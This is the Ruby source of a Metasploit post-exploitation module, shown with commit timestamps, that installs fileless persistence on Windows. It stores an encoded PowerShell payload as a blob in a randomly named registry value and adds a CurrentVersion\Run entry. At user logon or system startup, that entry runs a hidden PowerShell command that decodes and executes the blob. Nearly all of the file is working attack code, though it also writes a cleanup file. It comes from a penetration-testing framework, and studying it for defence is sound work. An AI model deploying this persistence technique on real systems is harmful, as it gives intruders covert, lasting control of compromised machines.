metasploit-framework/modules/exploits/windows/local/registry_persistence.rb

205 lines
6.9 KiB
Ruby
Raw Normal View History

2015-07-01 10:26:46 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
require 'msf/core/post/file'
2015-07-01 14:09:55 +00:00
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
2015-07-01 10:26:46 +00:00
2015-07-01 14:09:55 +00:00
include Msf::Exploit::Powershell
include Msf::Post::Windows::Registry
include Msf::Post::File
2015-07-01 10:26:46 +00:00
2015-07-01 14:09:55 +00:00
def initialize(info = {})
2015-07-01 10:26:46 +00:00
super(update_info(info,
'Name' => 'Windows Registry Only Persistence',
'Description' => %q{
This module will install a payload that is executed during boot.
It will be executed either at user logon or system startup via the registry
value in "CurrentVersion\Run" (depending on privilege and selected method).
The payload will be installed completely in registry.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Donny Maasland <donny.maasland[at]fox-it.com>',
],
'Platform' => [ 'win' ],
2015-07-01 14:09:55 +00:00
'SessionTypes' => [ 'meterpreter', 'cmd' ],
'Targets' =>
2015-07-01 10:26:46 +00:00
[
2015-07-01 14:09:55 +00:00
[ 'Automatic', { } ]
2015-07-01 10:26:46 +00:00
],
'DefaultTarget' => 0,
'DisclosureDate' => "Jul 1 2015",
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
}
))
register_options([
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
OptString.new('BLOB_REG_KEY',
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
OptString.new('BLOB_REG_NAME',
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
OptString.new('RUN_NAME',
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
OptBool.new('CREATE_RC',
[false, 'Create a resource file for cleanup', true]),
2015-11-18 16:13:18 +00:00
OptInt.new('SLEEP_TIME',
[false, 'Amount of time to sleep (in seconds) before executing payload. (Default: 0)', 0]),
2015-07-01 10:26:46 +00:00
], self.class)
2015-07-01 14:09:55 +00:00
end
def generate_payload_blob
opts = {
use_single_quotes: true,
encode_final_payload: true,
}
blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first, opts).split(' ')[-1]
return blob
end
2015-07-01 14:15:13 +00:00
def generate_cmd(root_path, blob_key_name, blob_key_reg)
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep #{datastore['SLEEP_TIME']}; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item '#{root_path}:#{blob_key_name}').GetValue('#{blob_key_reg}'))))\""
2015-07-01 14:09:55 +00:00
return cmd
end
def generate_blob_reg
blob_reg_key = datastore['BLOB_REG_KEY'] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
blob_reg_name = datastore['BLOB_REG_NAME'] || Rex::Text.rand_text_alphanumeric(8)
return blob_reg_key, blob_reg_name
end
def generate_cmd_reg
cmd_reg = datastore['RUN_NAME'] || Rex::Text.rand_text_alphanumeric(8)
return cmd_reg
end
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
new_key = false
2015-07-01 14:09:55 +00:00
if not registry_enumkeys(blob_reg_key)
unless registry_createkey(blob_reg_key)
fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
end
2015-07-01 14:15:13 +00:00
print_good("Created registry key #{blob_reg_key}")
new_key = true
2015-07-01 10:26:46 +00:00
end
2015-07-01 14:09:55 +00:00
unless registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
fail_with(Failure::Unknown,'Failed to open the registry key for writing')
2015-07-01 10:26:46 +00:00
end
2015-07-01 14:09:55 +00:00
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
return new_key
2015-07-01 14:09:55 +00:00
end
2015-07-01 10:26:46 +00:00
2015-07-01 14:09:55 +00:00
def install_cmd(cmd, cmd_reg, root_path)
unless registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
fail_with(Failure::Unknown,'Could not install run key')
2015-07-01 10:26:46 +00:00
end
2015-07-01 14:09:55 +00:00
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
end
def get_root_path
if datastore['STARTUP'] == 'USER'
root_path = 'HKCU'
else
root_path = 'HKLM'
2015-07-01 10:47:10 +00:00
end
2015-07-01 14:09:55 +00:00
return root_path
end
def log_file(log_path = nil) # Thanks Meatballs for this
# Get hostname
host = session.session_host
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
else
logs = ::File.join(Msf::Config.log_directory, 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
2015-07-01 10:47:10 +00:00
end
2015-07-01 10:26:46 +00:00
2015-07-01 14:09:55 +00:00
# Create the log directory
::FileUtils.mkdir_p(logs)
# logfile name
logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
logfile
end
def create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key) # Thanks Meatballs for this
2015-07-01 14:09:55 +00:00
clean_rc = log_file()
@clean_up_rc = ""
@clean_up_rc << "reg deleteval -k '#{root_path}\\#{blob_reg_key}' -v '#{blob_reg_name}'\n"
if new_key
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
end
2015-07-01 14:09:55 +00:00
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
file_local_write(clean_rc, @clean_up_rc)
print_status("Clean up Meterpreter RC file: #{clean_rc}")
report_note(:host => session.session_host,
type: 'host.persistance.cleanup',
data: {
local_id: session.sid,
stype: session.type,
desc: session.info,
platform: session.platform,
via_payload: session.via_payload,
via_exploit: session.via_exploit,
created_at: Time.now.utc,
commands: @clean_up_rc
}
)
end
2015-07-02 08:54:44 +00:00
def check
unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
return Msf::Exploit::CheckCode::Safe
end
return Msf::Exploit::CheckCode::Vulnerable
end
2015-07-01 14:09:55 +00:00
def exploit
2015-07-02 08:54:44 +00:00
unless registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
print_warning('Warning: PowerShell does not seem to be available, persistence might fail')
end
2015-07-01 14:09:55 +00:00
print_status('Generating payload blob..')
blob = generate_payload_blob
print_good("Generated payload, #{blob.length} bytes")
root_path = get_root_path
print_status("Root path is #{root_path}")
blob_reg_key, blob_reg_name = generate_blob_reg
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
cmd_reg = generate_cmd_reg
print_status('Installing payload blob..')
new_key = install_blob(root_path, blob, blob_reg_key, blob_reg_name)
2015-07-01 14:09:55 +00:00
print_status('Installing run key')
install_cmd(cmd, cmd_reg, root_path)
if datastore['CREATE_RC']
create_cleanup(root_path, blob_reg_key, blob_reg_name, cmd_reg, new_key)
end
2015-07-01 14:09:55 +00:00
end
end
2015-07-01 10:50:34 +00:00